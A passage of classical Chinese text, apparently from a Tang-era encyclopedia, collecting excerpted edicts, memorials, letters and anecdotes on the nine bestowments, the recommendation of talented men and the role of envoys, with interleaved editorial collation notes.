作 佐 . 深 睹 历 数 . 达 见 废 兴 . 远 遣 行 人 . 浮 于 潜 汉 . 望 风 景 附 . 抗 疏 称 蕃 . 忠 肃 内 发 . 款 诚 外 照 . 信 着 金 石 . 义 盖 山 河 . 朕 甚 嘉 马 . ○ 吴 志 二 作 焉 . 此 讹 . 今 封 君 为 吴 王 . 使 持 节 高 平 侯 . 其 授 君 玺 绶 策 书 . 以 大 将 军 使 持 节 都 督 交 州 领 荆 益 州 牧 事 . 锡 君 青 土 . 苴 以 白 茅 . 对 扬 朕 命 . 以 君 东 夏 . 今 又 加 君 九 锡 . 其 敬 听 后 命 .\n宋 傅 亮 作 宋 武 帝 九 锡 文 曰 . 朕 以 寡 昧 . 仰 缵 洪 业 . 夷 羿 乘 衅 . 荡 覆 王 室 . 越 在 南 鄙 . 至 于 九 江 . 宗 祀 绝 飨 . 人 神 无 位 . 提 挈 群 凶 . 寄 命 江 介 . 则 我 祖 宗 之 烈 . 奄 坠 于 地 . 七 百 之 祚 . 翦 焉 莫 嗣 . 天 未 绝 晋 . 诞 育 英 辅 . 振 厥 纲 维 . 再 造 区 夏 . 兴 亡 继 绝 . 俾 昏 作 明 . 元 勋 至 德 . 朕 实 赖 焉 . 今 将 授 公 典 策 . 其 敬 听 朕 命 . 乃 者 桓 玄 肆 僭 . 滔 天 泯 夏 . 拔 本 塞 源 . 颠 倒 六 位 . 庶 僚 俛 首 . 四 方 莫 恤 . 公 精 贯 朝 日 . 气 凌 虹 霓 . 奋 其 灵 武 . 大 歼 群 丑 . 克 复 皇 邑 . 奉 帝 歆 神 . 此 公 之 大 节 也 ○ 宋 书 二 无 也 字 . 始 于 勤 王 者 也 . 授 律 群 后 . 沂 流 长 鹜 . 薄 伐 峥 嵘 . 献 捷 南 夏 . 大 憝 折 首 . 群 逆 夷 殄 . 三 光 旋 照 . 旧 物 反 正 . 此 又 公 之 功 也 . 公 有 康 宇 内 之 勋 . 重 之 以 明 德 . 爰 初 发 迹 . 则 奇 谟 冠 世 . 电 击 彊 妖 . 则 锋 无 前 对 . 聿 宁 东 夏 . 大 造 黔 首 . 辨 方 正 位 . 纳 之 轨 度 . 蠲 削 烦 苛 . 较 若 画 一 . 淳 风 美 化 . 盈 塞 区 宇 . 虽 文 命 之 东 渐 西 被 . 咎 繇 之 迈 于 种 德 . 何 以 尚 兹 . 朕 闻 先 王 之 宰 世 也 . 庸 勋 尊 贤 . 建 侯 胙 土 . 褒 以 宠 章 . 崇 其 徽 物 . 所 以 夹 辅 皇 室 . 外 隆 蕃 屏 . 故 曲 阜 光 启 . 遂 荒 徐 宅 . 营 丘 表 海 . 四 履 有 闻 . 其 在 襄 王 . 亦 赖 匡 霸 . 又 命 晋 文 . 备 物 九 锡 . 惟 公 道 冠 前 烈 . 勋 高 振 古 . 而 殊 典 未 加 . 朕 甚 瞢 焉 . 今 进 授 相 国 .\n【 表 】 魏 武 帝 让 九 锡 表 曰 . 臣 功 小 德 薄 . 忝 宠 已 过 . 进 爵 益 土 . 非 臣 所 宜 . 九 锡 大 礼 . 臣 所 不 称 . 惶 悸 征 营 . 心 如 炎 灼 . 归 情 写 实 . 冀 蒙 听 省 . 不 悟 陛 下 . 复 诏 褒 诱 . 喻 以 伊 周 . 未 见 哀 许 . 臣 闻 事 君 之 道 . 犯 而 勿 欺 . 量 能 处 位 . 计 功 受 爵 . 苟 所 不 堪 . 有 损 无 从 . 加 臣 待 罪 上 相 . 民 所 具 瞻 . 而 自 过 谬 . 其 谓 臣 何 .\n梁 江 淹 为 齐 高 帝 让 相 国 齐 公 九 锡 表 曰 . 臣 闻 日 月 权 舆 . 二 仪 所 以 克 灵 . 君 臣 设 极 . 三 统 所 以 式 固 . 惟 生 与 位 . 谓 之 大 宝 . 是 以 二 周 之 始 . 珪 河 逾 广 . 两 汉 之 初 . 封 赏 弥 盛 . 然 表 东 海 者 . 实 牧 野 之 日 . 瞻 鲁 邦 者 . 乃 负 图 之 辰 . 若 乃 衣 裳 之 会 . 九 合 一 匡 . 犹 惭 于 斯 礼 也 . 臣 实 鄙 才 . 靡 识 大 体 . 徒 以 忠 贞 为 概 . 而 劳 不 足 铭 . 虽 以 丹 素 为 诚 . 而 功 无 可 勒 .\n又 表 曰 . 御 龙 勤 夏 . 未 闻 冠 俗 之 爵 . 大 彭 翼 商 . 岂 见\n超 世 之 典 . 况 吕 梁 不 凿 . 而 器 重 玄 圭 . 越 裳 未 献 . 而 赋\n拟 千 乘 . 镜 前 脩 而 惭 形 . 觌 往 德 而 耸 虑 也 .\n尸 子 曰 . 人 知 用 贤 之 利 也 . 不 能 得 贤 . 其 何 故 也 . 夫 买 马 不 论 足 力 . 以 白 黑 为 仪 . 必 无 走 马 矣 . 买 玉 不 论 美 恶 . 以 大 小 为 仪 . 必 无 良 宝 矣 . 举 士 不 论 才 . 而 以 贵 势 为 仪 . 则 伊 尹 管 仲 不 为 臣 矣 .\n说 苑 曰 . 楚 令 尹 虞 丘 子 . 举 孙 叔 敖 . ○ 说 苑 至 公 篇 敖 下 有 少 焉 虞 丘 子 家 干 法 八 字 . 执 而 戮 之 . 虞 丘 子 喜 . 入 见 于 王 . 言 孙 叔 敖 果 可 使 持 政 . 奉 国 法 而 不 党 . 施 刑 戮 而 不 乱 . 可 不 谓 公 乎 . 庄 王 曰 . 夫 子 之 赐 也 .\n吕 氏 春 秋 曰 . 百 里 奚 之 未 遇 时 . 饭 牛 于 秦 . 傅 鬻 以 五 羊 之 皮 . 公 孙 枝 得 之 . 献 诸 缪 公 . 三 日 . 请 属 事 焉 . 公 曰 . 买 之 五 羊 之 皮 而 属 事 . 无 乃 为 天 下 笑 乎 . 枝 曰 . 信 贤 而 任 之 . 君 之 明 也 . 让 贤 而 下 之 . 臣 之 志 也 . 境 内 将 服 . 夫 谁 暇 笑 哉 . 遂 用 之 . 谋 无 不 当 . 举 必 有 功 .\n史 记 曰 . 王 稽 使 于 魏 . 问 郑 安 平 . 魏 有 贤 人 可 与 俱 西 乎 . 安 平 曰 . 臣 里 中 有 张 禄 先 生 . 欲 见 君 . 言 天 下 事 . 王 稽 知 其 是 范 睢 也 . 乃 载 以 入 秦 .\n汉 书 曰 . 韩 安 国 为 人 多 大 略 . 所 推 举 皆 廉 士 . 贤 于 己 者 .\n又 曰 . 薛 宣 知 翟 方 进 有 宰 相 器 . 深 结 之 . 方 进 竟 代 宣 为 丞 相 . 免 二 岁 . 方 进 荐 宣 明 习 文 法 . 上 征 宣 . 复 爵 . 又 曰 . 何 武 为 人 仁 厚 . 好 进 士 . 称 人 之 善 . 为 楚 内 史 . 厚 两 龚 . 在 沛 郡 . 厚 两 唐 . 为 公 卿 . 荐 之 朝 廷 . 此 人 显 于 世 者 . 何 侯 力 也 .\n汉 杂 事 曰 . 辛 庆 忌 为 酒 泉 太 守 . 大 将 军 王 凤 . 荐 庆 忌 正 直 仁 勇 . 通 于 兵 事 . 柱 国 石 臣 . 凤 不 宜 久 处 其 右 . 上 乃 复 征 为 光 禄 大 夫 执 金 吾 .\n东 观 汉 记 曰 . 东 平 王 苍 . 荐 吏 吴 良 . 上 章 以 示 公 卿 曰 . 萧 何 ○ 东 观 汉 记 何 下 有 举 字 . 此 脱 . 韩 信 . 设 坛 即 拜 . 不 复 考 试 . 以 良 为 议 郎 .\n又 曰 . 杜 林 . 字 伯 山 . 为 侍 御 史 . 先 与 郑 兴 同 寓 陇 右 . 乃 荐 之 . 上 征 兴 为 大 中 大 夫 .\n又 曰 . 陈 宠 . 字 昭 公 . 为 尚 书 . 宠 性 纯 淑 . 周 密 重 慎 . 时 有 所 表 荐 . 辄 自 手 书 削 草 .\n续 汉 书 曰 . 桥 玄 为 司 空 . 转 司 徒 . 素 与 南 阳 太 守 陈 球 有 隙 . 及 在 公 位 . 而 荐 球 为 廷 尉 .\n又 曰 . 虞 诩 以 左 雄 有 忠 节 . 上 疏 . 荐 之 曰 . 伏 见 议 郎 左 雄 . 数 上 封 事 . 实 有 王 臣 謇 謇 之 节 . 宜 擢 在 喉 舌 之 官 . 必 有 匡 弼 之 益 . 由 是 拜 雄 尚 书 .\n吴 越 春 秋 曰 . 孙 子 者 . 吴 人 . 名 武 . 善 为 兵 法 . 僻 隐 幽 居 . 世 人 莫 知 其 能 . 子 胥 明 于 识 人 . 乃 荐 孙 子 . 吴 王 问 以 兵 法 . 每 陈 一 篇 . 王 不 觉 口 之 称 善 . 事 具 人 部 啸 篇 . 三 辅 决 录 曰 . 游 子 殷 为 郡 功 曹 . 有 童 子 张 既 为 书 佐 . 殷 察 异 之 . 具 设 宾 馔 . 以 子 楚 托 之 . 后 魏 王 以 既 为 雍 州 . 时 汉 兴 郡 阙 . 王 以 问 既 . 既 称 楚 文 武 兼 才 . 遂 以 为 汉 兴 太 守 .\n魏 志 曰 . 颍 川 卢 志 才 . 筹 画 士 也 . 早 卒 . 太 祖 与 荀 彧 书 曰 . 自 志 才 亡 后 . 莫 可 与 计 事 者 . 汝 颍 固 多 奇 才 . 谁 可 以 继 . 彧 荐 郭 嘉 . 召 见 . 论 天 下 事 . 太 祖 曰 . 使 孤 成 大 业 者 . 必 此 人 也 . 表 为 司 . 空 军 祭 酒 .\n吴 志 曰 . 刘 繇 字 正 礼 . 兄 岱 . 字 公 山 . 平 原 陶 丘 洪 荐 . 欲 令 举 茂 才 . 刺 史 曰 . 前 年 举 公 山 . 奈 何 复 举 正 礼 乎 . 洪 曰 . 若 明 使 君 用 公 山 于 前 . 擢 正 礼 于 后 . 所 谓 御 二 龙 于 长 涂 . 骋 骐 骥 于 千 里 . 不 亦 可 乎 .\n王 隐 晋 书 曰 . 杜 夷 隐 身 不 仕 . 镇 东 军 司 顾 荣 等 . 荐 夷 于 相 国 府 . 元 帝 以 为 儒 林 祭 酒 .\n徐 广 晋 纪 曰 . 张 华 少 自 牧 羊 . 而 笃 志 好 学 . 初 为 县 吏 . 卢 钦 奇 其 才 . 数 称 荐 之 .\n【 诏 】 魏 明 帝 诏 曰 . 世 之 质 文 . 随 教 而 变 . 兵 乱 已 来 . 经 学 废 绝 . 后 生 进 趋 . 不 由 典 谟 . 岂 朕 训 导 未 洽 . 将 进 用 者 不 以 德 显 乎 . 其 令 郎 吏 学 通 一 经 . 才 任 牧 民 . 博 士 策 试 . 擢 其 高 第 者 亟 用 . 其 浮 华 不 务 道 本 者 . 皆 罢 退 之 .\n梁 任 昉 求 荐 士 诏 曰 . 夫 进 贤 茂 赏 . 蔽 善 明 罚 . 前 王 盛 则 . 咸 必 由 之 . 朕 纂 统 鸿 业 . 夤 畏 大 宝 . 思 用 俊 异 . 协 赞 雍 熙 . 历 听 九 工 . 物 色 舆 皂 . 而 白 驹 盈 谷 . 长 楚 未 刈 . 所 以 临 朝 永 叹 . 日 昃 伊 伫 . 便 可 博 询 卿 士 . 各 举 所 知 . 将 量 才 授 能 . 擢 以 不 次 . 庶 同 则 哲 之 明 . 称 朕 急 贤 之 旨 .\n随 江 总 举 士 诏 曰 . 尧 施 谏 鼓 . 禹 拜 昌 言 . 求 之 异 等 . 久 着 前 册 . 举 以 滞 淹 . 复 闻 昔 典 . 斯 乃 治 道 之 深 规 . 帝 王 之 切 务 . 朕 以 寡 昧 . 丕 承 洪 绪 . 未 明 虚 己 . 日 旰 兴 怀 . 万 机 多 紊 . 四 聪 弗 达 . 思 闻 謇 谔 . 采 其 默 语 . 王 公 以 下 . 各 荐 所 知 . 傍 询 管 库 . 爰 及 舆 皂 . 一 介 有 能 . 片 言 可 用 . 朕 亲 加 听 览 . 伫 兹 启 沃 .\n【 表 】 后 汉 班 固 为 第 五 伦 荐 谢 夷 吾 表 曰 . 夷 吾 才 兼 四 科 . 行 包 九 德 . 奉 法 智 察 . 有 召 公 之 风 . 居 俭 履 约 . 绍 公 仪 之 操 . 虽 密 勿 在 公 . 身 出 心 隐 . 不 徇 名 以 求 誉 . 不 驰 骛 以 要 宠 . 诚 社 稷 之 蓍 龟 . 大 汉 之 甍 栋 . 宜 当 拔 擢 . 使 登 鼎 司 . 愿 乞 骸 骨 . 更 授 夷 吾 .\n后 汉 蔡 邕 荐 皇 甫 规 表 曰 . 昔 孝 文 愠 匈 奴 之 事 . 思 李 牧 于 前 代 . 孝 宣 忿 奸 猾 之 不 散 . 举 张 敞 于 亡 命 . 论 其 武 劳 . 则 汉 室 之 扞 城 . 课 其 文 德 . 则 皇 家 之 腹 心 .\n后 汉 孔 融 荐 祢 衡 表 曰 . 衡 淑 质 贞 亮 . 英 才 卓 荦 . 初 涉 艺 文 . 升 堂 睹 奥 . 目 所 一 见 . 辄 诵 于 口 . 耳 所 暂 闻 . 不 忘 于 心 . 性 与 道 ○ 原 讹 通 . 据 冯 校 本 改 . 合 . 思 若 有 神 . 忠 果 正 直 . 志 怀 霜 雪 . 见 善 若 惊 . 疾 恶 若 . 鸷 鸟 累 百 . 不 如 一 鹗 . 飞 辩 骋 辞 . 溢 气 坌 涌 . 解 疑 释 结 . 临 敌 有 余 . 昔 贾 谊 求 试 属 国 . 诡 系 单 于 . 终 军 欲 以 长 缨 . 牵 致 劲 越 . 弱 冠 慷 恺 . 前 世 美 之 . 女 ○ 文 选 三 十 七 作 如 . 此 讹 . 得 龙 跃 天 衢 . 振 翼 云 汉 . 扬 声 紫 微 . 垂 光 虹 霓 . 钧 天 广 乐 . 必 有 奇 丽 之 观 . 帝 室 皇 居 . 必 畜 非 常 之 宝 .\n魏 陈 思 王 曹 植 自 试 表 曰 . 士 之 生 世 . 入 则 事 父 . 出 则 事 君 . 事 父 尚 于 荣 亲 . 事 君 贵 于 兴 国 . 故 慈 父 不 能 爱 无 益 之 子 . 仁 君 不 能 畜 无 用 之 臣 . 夫 论 德 而 授 官 者 . 成 功 之 君 也 . 量 能 而 受 爵 者 . 毕 命 之 臣 也 . 故 君 无 虚 授 . 臣 无 虚 受 . 虚 授 谓 之 谬 举 . 虚 受 谓 之 尸 禄 . 昔 二 虢 不 辞 两 国 之 任 . 其 德 厚 也 . 旦 奭 不 让 燕 鲁 之 封 . 其 功 大 也 . 今 臣 无 德 可 述 . 无 功 可 纪 . 上 惭 玄 冕 . 俯 愧 朱 绂 . 西 有 违 命 之 蜀 . 东 有 不 臣 之 吴 . 使 边 境 未 得 脱 甲 . 谟 士 未 得 高 枕 . 而 高 鸟 未 絓 于 轻 缴 . 潜 鱼 未 悬 于 钩 饵 者 . 恐 钓 射 之 术 . 或 未 尽 也 . 夫 君 之 宠 臣 . 欲 除 患 兴 利 . 臣 之 事 君 . 必 杀 身 静 乱 . 以 功 报 主 也 . 如 微 才 弗 试 . 没 世 无 闻 . 徒 荣 其 躯 而 丰 其 体 . 生 无 益 于 事 . 死 无 损 于 数 . 虚 荷 上 位 . 而 忝 重 恩 . 禽 息 鸟 视 . 终 于 白 首 也 . 常 恐 先 朝 露 . 填 沟 壑 . 坟 土 未 干 . 而 身 名 并 灭 . 冀 以 尘 雾 之 微 . 补 益 山 海 . 萤 烛 末 光 . 增 辉 日 月 .\n又 表 曰 . 五 帝 之 世 非 皆 智 . 三 季 之 末 非 皆 愚 . 用 与 不\n用 . 知 与 不 知 也 . 夫 相 者 文 德 昭 者 也 . 将 者 武 功 烈 者 也\n. 文 德 昭 则 可 以 匡 国 朝 . 叙 百 揆 . 稷 契 夔 龙 是 矣 . 武 功\n烈 则 可 以 征 不 庭 . 广 邦 境 . 南 仲 方 叔 是 矣 . 昔 伊 尹 之 为\n媵 臣 . 至 贱 也 . 吕 尚 之 处 屠 钓 . 至 陋 也 . 及 其 见 举 于\n汤 文 . 诚 道 合 志 同 . 岂 复 假 近 习 之 荐 . 因 左 右 之 介 哉 . 昔 骐 骥 之 于 吴 阪 . 可 谓 困 矣 . 及 其 伯 乐 相 之 . 孙 子 御 之 . 形 体 不 劳 . 而 坐 取 千 里 . 伯 乐 善 御 马 . 明 君 善 御 臣 . 诚 任 贤 使 能 之 明 效 也 . 昔 段 干 木 修 德 于 闾 阎 . 秦 军 为 之 辍 攻 . 而 文 侯 以 安 . 穣 苴 授 节 于 邦 境 . 燕 晋 为 之 退 师 . 而 景 公 无 患 . 皆 简 德 尊 贤 之 所 致 也 . 愿 陛 下 垂 高 宗 傅 岩 之 明 . 以 显 中 兴 之 功 .\n魏 殷 褒 荐 朱 伦 表 曰 . 盖 闻 虞 书 非 俊 乂 无 以 光 帝 载 . 西 伯 非 髦 士 无 以 开 王 业 . 是 故 高 世 之 主 . 必 广 登 命 之 礼 . 有 为 之 君 . 务 通 贤 者 之 路 . 所 以 成 大 治 也 . 切 见 同 郡 朱 伦 . 字 文 信 . 天 真 清 亮 . 雅 性 忠 笃 . 纯 粹 足 以 激 清 源 . 美 行 足 以 广 风 俗 . 当 仁 不 让 . 见 德 思 义 . 疏 达 之 才 . 强 记 博 闻 . 飞 辞 抗 论 . 骆 驿 奇 逸 . 诚 当 世 之 俊 异 . 一 时 之 秀 出 也 . 如 得 毗 佐 铨 衡 . 翼 亮 右 曹 . 济 济 之 观 . 足 用 华 国 .\n晋 庾 亮 荐 翟 阳 ○ 按 当 作 汤 . 郭 翻 表 曰 . 盖 闻 举 逸 拔 幽 . 帝 王 之 高 士 . 旌 德 礼 贤 . 治 道 之 所 先 . 是 以 西 伯 摽 渭 滨 之 伏 . 而 帝 基 以 隆 . 汉 高 延 商 洛 之 隐 . 而 王 道 以 固 . 仄 陋 无 明 之 称 . 空 谷 废 白 驹 之 咏 . 恐 千 里 之 足 . 屈 于 槽 枥 之 下 . 赞 世 之 才 . 委 于 垄 亩 之 闲 . 若 解 其 巾 褐 . 服 以 缨 冕 . 必 能 翼 赞 皇 极 . 敷 训 彝 伦 .\n梁 元 帝 荐 鲍 几 表 曰 . 旌 蒲 出 鲁 . 贲 帛 归 齐 . 颂 声 既 兴 . 盛 业 斯 在 . 几 忠 公 抗 直 . 出 宰 廉 平 . 将 齐 毛 玠 古 人 之 服 . 实 同 吴 隐 酌 水 之 廉 . 臣 才 非 往 哲 . 识 愧 前 修 . 轻 陈 听 览 . 伏 待 鈇 钺 .\n梁 沈 约 荐 刘 粲 表 曰 . 陛 下 则 天 开 业 . 冠 带 要 荒 . 輶 轩 韦 毂 . 交 轸 于 遐 路 . 舍 筑 投 竽 . 相 望 于 魏 阙 . 或 以 开 坼 未 采 . 管 库 遗 贤 . 执 戟 忘 疲 . 倚 辀 不 息 .\n梁 刘 孝 仪 为 江 仆 射 礼 荐 士 表 曰 . 陛 下 缉 礼 裁 乐 . 化 俗 移 风 . 当 扆 思 治 . 分 宵 梦 相 . 枯 岸 之 珠 既 论 . 润 山 之 玉 已 荐 . 伏 见 兼 太 学 博 士 会 稽 贺 玚 . 字 德 琏 . 幼 能 斧 藻 . 长 则 琢 磨 . 结 卷 就 贤 . 担 簦 来 学 . 乡 塾 染 其 丹 采 . 朋 友 扣 其 洪 钟 . 声 无 愧 于 东 筠 . 材 有 逾 乎 西 杞 . 如 使 联 事 宗 伯 . 握 兰 建 礼 . 庶 用 得 其 才 . 人 知 自 勖 . 臣 鉴 非 止 水 . 职 豫 搜 扬 . 前 竭 谀 闻 . 先 自 乡 曲 .\n又 为 江 侍 中 荐 士 表 曰 . 臣 闻 天 道 不 言 . 资 寒 暑 而 成 岁 . 宸 居 垂 拱 . 寄 守 宰 以 宣 风 . 若 夜 鱼 不 欺 . 朝 琴 在 奏 . 则 残 杀 自 去 . 汾 射 可 追 . 伏 见 镇 北 府 水 曹 参 军 济 阳 江 兴 . 字 休 恭 . 立 身 贞 白 . 操 业 清 廉 . 颇 涉 书 记 . 弥 闲 刀 笔 . 前 摄 县 沮 漳 . 无 伤 锦 制 . 巡 行 淮 海 . 不 忝 绣 衣 . 若 处 以 百 里 之 邑 . 使 导 一 乡 之 赋 . 必 能 治 文 无 害 . 迄 用 有 成 . 臣 举 不 避 族 . 非 欲 异 姓 居 后 . 知 人 为 难 . 寔 缘 所 悉 而 荐 .\n北 齐 邢 子 才 为 李 卫 军 疾 以 国 子 祭 酒 让 东 平 王 表 曰 . 臣 闻 运 舟 归 于 积 水 . 致 远 在 于 逸 足 . 未 有 涓 浍 之 流 . 可 成 奔 飞 之 用 . 驽 蹇 之 乘 . 而 有 灭 没 之 功 . 既 列 赵 衰 先 人 之 敏 . 请 同 虞 丘 退 身 之 义 . 具 官 臣 某 . 民 望 时 宗 . 声 实 攸 在 . 斧 藻 川 流 . 雕 篆 霞 蔚 . 蕉 蒲 既 茂 . 枝 叶 寔 繁 . 故 以 学 穷 齐 鲁 . 声 高 梁 魏 . 诏 美 司 朝 . 佥 谐 允 在 . 伏 愿 回 恩 徙 授 . 以 答 具 瞻 .\n【 笺 】 魏 应 璩 荐 和 虑 则 笺 曰 . 璩 闻 唐 尧 因 群 士 以 兴 治 . 齐 桓 假 众 能 以 定 业 . 是 故 八 元 进 则 太 平 之 化 成 . 六 贤 用 则 九 合 之 功 立 . 切 见 同 郡 和 模 . 字 虑 则 . 质 性 纯 粹 . 体 度 贞 正 . 履 仁 蹈 义 . 动 循 轨 礼 . 方 今 海 内 企 踵 . 欣 慕 捉 发 之 德 . 山 林 投 褐 . 思 望 旌 弓 之 招 . 寔 英 奇 叙 用 之 时 . 贡 达 进 致 之 良 秋 也 . 令 夜 光 之 璧 . 显 价 于 和 氏 之 肆 . 千 里 之 足 . 定 功 于 伯 乐 之 庭 . 庶 有 以 宣 明 大 道 . 光 益 时 化 .\n又 荐 费 祎 笺 曰 . 璩 闻 景 云 浮 则 应 龙 翔 . 治 道 明 则 俊 乂 臻 . 是 故 良 哉 之 歌 . 兴 于 唐 尧 之 世 . 多 士 之 颂 . 起 于 周 文 之 朝 .\n晋 孙 楚 荐 傅 长 虞 笺 曰 . 楚 闻 骐 骥 不 遗 能 于 伯 乐 . 良 宝 不 藏 耀 于 卞 和 . 是 以 辉 光 夜 射 . 价 连 秦 赵 . 飞 驷 绝 影 . 终 朝 千 里 . 物 尚 有 之 . 士 亦 宜 然 .\n晋 庾 阐 荐 唐 ● 笺 曰 . 盖 桂 林 生 于 五 岭 . 杞 梓 出 于 南 荆 . 夫 以 卉 木 之 盛 . 犹 载 在 方 志 . 况 千 里 之 朝 . 怀 其 良 彦 . 而 使 人 滞 于 常 流 . 莫 登 于 龙 津 者 乎 . 郡 功 ○ 原 讹 公 . 据 冯 校 本 改 . 曹 史 泉 陵 唐 ● . 永 延 . ○ 句 有 脱 文 . 履 道 敏 素 . 和 而 有 正 . 立 身 持 操 . 行 着 一 邦 . 若 得 骖 轨 鸾 衡 . 服 襄 骏 足 . 则 机 石 之 良 选 . 可 以 对 扬 万 里 者 也 .\n【 启 】 齐 王 融 求 试 效 启 曰 . 臣 闻 春 鹒 秋 蟀 . 集 候 相 悲 . 露 木 风 萤 . 临 年 共 悦 . 夫 惟 动 植 . 且 或 有 心 . 况 在 生 灵 . 而 能 无 感 . 夫 君 道 含 弘 . 臣 术 无 隐 . 翁 归 乃 居 中 自 是 . 充 国 曰 莫 若 老 臣 . 切 慕 前 修 . 敢 蹈 轻 节 . 虽 冒 不 媒 之 鄙 . 式 罄 奉 公 之 诚 . 抑 又 唐 尧 在 上 . 不 参 二 八 . 管 夷 吾 耻 之 . 臣 亦 耻 之 .\n梁 元 帝 启 东 宫 荐 石 门 侯 启 曰 . 切 以 凤 鸣 朝 阳 . 必 资 蓝 田 之 宝 . 龙 门 点 额 . 亦 俟 堂 溪 之 珍 . 是 以 紫 玉 见 称 . 黄 金 为 贵 . 文 传 梦 鸟 . 学 重 灵 蛇 . 点 漆 凝 脂 . 事 逾 卫 玠 . 浑 金 璞 玉 . 才 疋 山 涛 . 昔 翟 汤 隐 逸 . 见 称 庾 亮 . 陈 平 器 局 . 被 荐 无 知 . 以 人 废 言 . 诚 增 竦 詟 . 进 贤 上 赏 . 伏 待 慈 照 .\n梁 丘 迟 答 举 秀 才 启 曰 . 方 今 八 友 盈 庭 . 五 承 在 幄 . 七 教 毕 脩 . 九 攻 具 举 . 犹 乃 物 色 关 屠 . 梦 想 岩 钓 . 故 已 天 不 爱 宝 . 野 无 遗 贤 . 辄 仰 宣 皇 猷 . 俯 罄 愚 蔽 . 觇 察 衡 阎 . 询 事 茅 草 . 如 有 片 言 入 善 . 一 介 可 题 . 谨 闻 绛 阙 . 恭 奏 青 蒲 .\n【 教 】 宋 孝 武 临 徐 兖 二 州 搜 扬 教 曰 . 徐 方 地 兼 梁 楚 . 秀 士 攸 出 . 兖 土 乐 颂 所 流 . 风 礼 自 古 . 岂 不 异 人 比 肩 . 鸿 才 世 及 . 或 疏 散 山 林 . 不 闻 进 达 . 或 栖 息 闾 阎 . 怀 宝 待 耀 . 孝 性 义 门 . 明 经 善 政 者 . 所 在 搜 扬 举 进 . 咸 用 名 闻 .\n梁 王 僧 孺 至 南 海 郡 求 士 教 曰 . 是 以 文 举 下 车 . 寤 梦 于 根 雉 . 长 孙 入 境 . 明 发 于 龙 丘 . 此 境 三 闽 奥 壤 . 百 越 旧 都 . 汉 开 吴 别 . 分 星 画 部 . 风 序 泱 泱 . 衣 簪 斯 盛 . 其 川 岳 所 产 . 岂 直 明 珠 大 贝 . 桂 蠹 翠 羽 而 已 哉 . 孝 实 人 经 . 则 有 罗 威 唐 颂 . 学 惟 业 本 . 又 闻 陈 元 士 燮 . 至 于 高 尚 独 往 . 相 望 于 ● 岩 . 怀 仁 抱 义 . 继 踪 于 前 史 .\n【 书 】 汉 张 敞 与 朱 邑 书 曰 . 明 主 游 心 太 古 . 广 延 茂 士 . 此 诚 忠 臣 竭 思 之 时 也 . 值 敞 远 守 剧 郡 . 驭 于 绳 墨 . 胸 臆 约 结 . 固 无 奇 矣 . 足 下 以 清 明 之 德 . 掌 周 稷 之 官 . 昔 陈 平 虽 贤 . 须 魏 倩 而 后 进 . 韩 信 虽 奇 . 赖 萧 何 而 后 信 . 故 士 各 达 其 时 之 英 隽 . 若 必 伊 尹 吕 望 而 后 荐 之 . 则 此 人 不 因 足 下 而 进 矣 . 邑 感 敞 言 . 荐 贤 士 大 夫 . 多 得 其 助 者 .\n魏 阮 籍 与 晋 文 王 荐 卢 景 宣 书 曰 . 是 以 八 士 归 周 . 周 道\n以 隆 . 虞 舜 登 庸 . 元 凯 咸 事 . 诚 以 邓 林 昆 吾 . 翔 凤 所 栖\n. 悬 黎 和 肆 . 垂 棘 所 集 . 伏 见 鄙 州 别 驾 卢 播 . 字 景 宣 .\n耽 道 悦 礼 . 伏 义 依 仁 . 研 精 坟 典 . 升 堂 睹 奥 . 若 得 佐 时\n理 物 . 则 政 事 之 器 . 衔 命 聘 享 . 则 专 对 之 才 . 潜 心 图 籍\n. 文 学 之 宗 . 敷 藻 载 述 . 良 史 之 表 .\n毛 诗 曰 . 四 牡 . 劳 使 臣 之 来 也 . 有 功 而 见 知 则 说 矣 . 四 牡 騑 騑 . 周 道 逶 迟 . 岂 不 怀 归 . 王 事 靡 盬 . 我 心 伤 悲 .\n又 曰 . 皇 皇 者 华 . 君 遣 使 臣 也 . 送 之 以 礼 乐 . 言 远 而 有 光 华 也 . 皇 皇 者 华 . 于 彼 原 隰 . 駪 駪 征 夫 . 每 怀 靡 及 .\n左 传 曰 . 齐 侯 以 诸 侯 之 师 侵 蔡 . 蔡 溃 . 遂 伐 楚 . 楚 子 使 与 师 言 曰 . 君 处 北 海 . 寡 人 处 南 海 . 惟 是 风 马 牛 不 相 及 也 . 不 虞 君 之 涉 吾 地 也 何 故 . 管 仲 曰 . 昔 召 康 公 命 我 先 君 太 公 曰 . 五 侯 九 伯 . 汝 实 征 之 . 尔 贡 苞 茅 不 入 . 王 祭 不 供 . 无 以 缩 酒 . 寡 人 是 征 . 昭 王 南 征 而 不 复 . 寡 人 是 问 . 对 曰 . 贡 之 不 入 . 寡 君 之 罪 也 . 敢 不 供 给 . 昭 王 之 不 复 . 君 其 问 诸 水 滨 .\n谷 梁 传 曰 . 季 孙 行 父 秃 . 晋 郤 克 眇 . 卫 孙 良 夫 跛 . 同 时 而 聘 于 齐 . 齐 使 秃 者 迓 秃 者 . 眇 者 迓 眇 者 . 跛 者 迓 跛 者 . 萧 同 叔 子 处 台 上 而 笑 之 . 闻 于 客 . 客 不 说 而 去 . 相 与 立 胥 闾 而 语 . 移 日 不 解 . 齐 人 有 知 之 者 曰 . 齐 之 患 自 此 始 也 .\n论 语 曰 . 蘧 伯 玉 使 人 于 孔 子 . 孔 子 与 之 坐 而 问 焉 . 曰 . 夫 子 何 为 . 对 曰 . 夫 子 欲 寡 其 过 而 未 能 也 . 使 者 出 . 子 曰 . 使 乎 使 乎 . 为 使 之 难 . 不 辱 君 命 .\n晏 子 曰 . 晏 子 短 . 使 楚 . 楚 为 小 门 而 延 晏 子 . 晏 子 不 入 . 曰 . 使 狗 国 者 从 狗 门 入 . 而 臣 使 楚 . 不 当 从 狗 门 入 . 事 具 人 部 嘲 戏 篇 .\n史 记 曰 . 赵 平 原 君 使 于 春 申 君 . 赵 使 欲 夸 楚 . 为 玳 瑁 簪 . 刀 剑 悉 以 珠 饰 之 . 春 申 君 客 三 千 余 人 . 上 客 皆 蹑 珠 履 . 以 见 赵 使 . 赵 使 大 惭 .\n又 曰 . 陆 贾 . 楚 人 . 以 客 从 高 祖 定 天 下 . 名 有 口 辩 . 居 左 右 . 常 使 诸 侯 . 时 中 国 初 定 . 尉 他 平 南 越 . 因 王 之 . 高 祖 使 贾 赐 他 印 . 为 南 越 王 . 贾 至 . 尉 他 魁 结 箕 踞 见 贾 . 贾 因 说 他 曰 . 足 下 中 国 之 人 . 亲 戚 昆 弟 坟 墓 在 真 定 . 今 足 下 欲 以 区 区 之 越 . 与 天 子 抗 衡 为 敌 国 . 祸 且 及 身 矣 . 他 乃 蹶 然 起 坐 . 谢 贾 曰 . 居 蛮 夷 之 